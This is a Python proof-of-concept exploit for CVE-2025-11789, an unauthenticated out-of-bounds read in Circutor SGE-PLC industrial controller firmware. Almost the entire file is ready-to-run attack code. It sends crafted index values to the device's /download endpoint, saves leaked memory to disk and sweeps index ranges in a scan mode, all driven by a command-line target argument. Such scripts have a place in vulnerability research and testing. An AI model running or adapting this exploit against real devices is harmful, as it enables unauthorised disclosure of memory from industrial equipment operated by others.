#!/usr/bin/env python3
"""
CVE-2025-11789 PoC - Circutor SGE-PLC Out-of-bounds Read
Target: Circutor SGE-PLC1000/SGE-PLC50 Firmware <= 9.0.2
Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-11789
"""
import requests
import sys
import argparse
def exploit(target_url, index_value):
"""
Exploit the out-of-bounds read vulnerability in DownloadFile function.
The function uses atoi() to convert parameter to integer and uses it
as index in FilesDownload array without bounds checking.
Args:
target_url: Base URL of the Circutor SGE-PLC device
index_value: Integer index to access out of bounds in FilesDownload array
"""
# Construct the malicious request
exploit_url = f"{target_url}/download?file={index_value}"
print(f"[*] Target: {target_url}")
print(f"[*] Exploit URL: {exploit_url}")
print(f"[*] Attempting out-of-bounds read at index: {index_value}")
try:
# Send HTTP GET request with malicious index value
# No authentication required (PR:N)
response = requests.get(exploit_url, timeout=10)
print(f"[+] Response Status: {response.status_code}")
print(f"[+] Response Length: {len(response.content)} bytes")
# Check if we got any data (potential information disclosure)
if response.status_code == 200 and len(response.content) > 0:
print("[!] Potential information disclosure detected!")
print(f"[*] Response Content (first 500 bytes):")
print(response.content[:500])
# Save the response for analysis
with open(f"oob_read_result_{index_value}.bin", "wb") as f:
f.write(response.content)
print(f"[*] Full response saved to oob_read_result_{index_value}.bin")
return response
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def scan_memory(target_url, start_index=0, end_index=100):
"""
Scan memory by trying different index values.
Compare response lengths to identify valid array bounds.
"""
print(f"[*] Starting memory scan from index {start_index} to {end_index}")
baseline_length = None
results = []
for idx in range(start_index, end_index + 1):
try:
response = requests.get(
f"{target_url}/download?file={idx}",
timeout=5
)
content_length = len(response.content)
if baseline_length is None:
baseline_length = content_length
print(f"[*] Baseline response length: {content_length}")
# Detect anomalies in response
if content_length != baseline_length:
print(f"[!] Index {idx}: Length={content_length} (diff={content_length - baseline_length})")
results.append({
'index': idx,
'length': content_length,
'diff': content_length - baseline_length
})
except Exception as e:
print(f"[-] Index {idx}: Error - {e}")
print(f"\n[*] Scan complete. Found {len(results)} anomalies.")
return results
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="CVE-2025-11789 PoC - Circutor SGE-PLC Out-of-bounds Read"
)
parser.add_argument("-t", "--target", required=True, help="Target URL")
parser.add_argument("-i", "--index", type=int, default=999999,
help="Index value for out-of-bounds read (default: 999999)")
parser.add_argument("-s", "--scan", action="store_true",
help="Enable memory scan mode")
parser.add_argument("--start", type=int, default=0, help="Scan start index")
parser.add_argument("--end", type=int, default=100, help="Scan end index")
args = parser.parse_args()
if args.scan:
scan_memory(args.target, args.start, args.end)
else:
exploit(args.target, args.index)